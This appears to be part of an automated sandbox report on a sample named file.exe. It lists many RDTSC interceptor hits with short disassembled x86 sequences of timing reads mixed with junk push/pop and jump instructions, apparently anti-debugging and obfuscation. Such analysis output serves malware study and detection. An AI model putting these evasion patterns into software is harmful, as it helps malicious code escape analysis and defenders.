Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB856 second address: DCB85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB85A second address: DCB872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC708CACE9Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD30A5 second address: DD30A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD30A9 second address: DD30AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD3238 second address: DD3250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708C2198Fh 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD3250 second address: DD3276 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA1h 0x00000007 jmp 00007FC708CACE9Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD367A second address: DD3680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD3680 second address: DD3685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDA7E9 second address: DDA7EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDA7EF second address: DDA822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA8h 0x00000007 jmp 00007FC708CACEA7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDA822 second address: DDA82F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FC708C21986h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDA3E6 second address: DDA3F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FC708CACE96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFFCF second address: DEFFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708C21999h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF446E second address: DF4472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE1AB second address: DFE1B5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC708C21986h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE003 second address: DFE008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE008 second address: DFE016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C2198Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07813 second address: E0781F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC708CACE96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07971 second address: E07987 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FC708C21986h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07987 second address: E079BA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC708CACE96h 0x00000008 jbe 00007FC708CACE96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 pop eax 0x00000019 jmp 00007FC708CACEA7h 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07AFC second address: E07B16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21990h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07B16 second address: E07B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07B1A second address: E07B26 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC708C21986h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07E2F second address: E07E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jbe 00007FC708CACE96h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07E3D second address: E07E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FC708C21997h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07E5D second address: E07E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B49C second address: E0B4B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708C21996h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B4B7 second address: E0B4BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E09D second address: E0E0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E0A3 second address: E0E0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DC32 second address: E0DC40 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FC708C21986h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DC40 second address: E0DC46 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DC46 second address: E0DC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC708C21994h 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FC708C21997h 0x0000001a push ecx 0x0000001b js 00007FC708C21986h 0x00000021 pop ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DC8D second address: E0DC91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DC91 second address: E0DC95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E203C2 second address: E203C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E203C7 second address: E203CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E203CF second address: E203DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC708CACE96h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C88F second address: E2C898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C521 second address: E2C525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C525 second address: E2C52B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C52B second address: E2C54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC708CACEA3h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C54A second address: E2C54E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C54E second address: E2C563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jc 00007FC708CACEB4h 0x0000000d jnp 00007FC708CACE9Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2FBF3 second address: E2FBFD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC708C2198Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47E6D second address: E47E74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46F7D second address: E46F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC708C21986h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46F87 second address: E46F9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46F9C second address: E46FCA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FC708C2198Ah 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 jmp 00007FC708C21998h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46FCA second address: E46FD1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46FD1 second address: E46FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46FDA second address: E46FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47515 second address: E4754A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007FC708C2198Eh 0x0000000b pushad 0x0000000c jmp 00007FC708C21992h 0x00000011 jmp 00007FC708C2198Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4754A second address: E47554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47848 second address: E47856 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC708C21986h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47856 second address: E4785A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4785A second address: E47860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47860 second address: E47866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4799E second address: E479C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jp 00007FC708C21986h 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 je 00007FC708C2198Ch 0x00000017 pushad 0x00000018 ja 00007FC708C21986h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A9E6 second address: E4A9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4AA7B second address: E4AA80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D5CB second address: E4D5CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D5CF second address: E4D5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D5D5 second address: E4D5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340014 second address: 5340055 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c jmp 00007FC708C21996h 0x00000011 call 00007FC708C21992h 0x00000016 mov ch, 2Bh 0x00000018 pop ebx 0x00000019 popad 0x0000001a mov dword ptr [esp], ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340055 second address: 5340059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340059 second address: 534005D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534005D second address: 5340063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340063 second address: 5340096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FC708C21991h 0x00000016 jmp 00007FC708C2198Bh 0x0000001b popfd 0x0000001c mov si, 399Fh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340096 second address: 53400E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC708CACE9Eh 0x00000009 or si, 9908h 0x0000000e jmp 00007FC708CACE9Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov dh, 51h 0x0000001d pushfd 0x0000001e jmp 00007FC708CACE9Ch 0x00000023 sbb ecx, 1CF03B68h 0x00000029 jmp 00007FC708CACE9Bh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320DA2 second address: 5320DA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320DA8 second address: 5320DF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FC708CACE9Eh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FC708CACEA0h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FC708CACE9Dh 0x0000001f jmp 00007FC708CACE9Bh 0x00000024 popfd 0x00000025 mov ah, E0h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320DF2 second address: 5320DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537005B second address: 537006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708CACE9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537006B second address: 537006F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53000FC second address: 5300100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300100 second address: 5300106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300106 second address: 530015A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC708CACEA0h 0x0000000f push eax 0x00000010 jmp 00007FC708CACE9Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FC708CACEA6h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530015A second address: 5300177 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21999h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300177 second address: 530017D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530017D second address: 5300181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300181 second address: 5300185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320B86 second address: 5320B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320B8C second address: 5320B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320B90 second address: 5320B94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320B94 second address: 5320BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC708CACE9Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320BAC second address: 5320BCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21991h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, E7h 0x0000000f mov ebx, eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320BCA second address: 5320BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320BD0 second address: 5320BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53207A2 second address: 53207B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53207B1 second address: 53207B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320619 second address: 532064D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC708CACEA7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532064D second address: 5320672 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 mov dh, 9Dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC708C21998h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320672 second address: 5320684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708CACE9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320684 second address: 53206BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FC708C21997h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC708C21990h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53206BA second address: 53206BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53206BE second address: 53206C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53206C4 second address: 53206E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC708CACE9Ch 0x00000009 sbb ah, FFFFFFB8h 0x0000000c jmp 00007FC708CACE9Bh 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
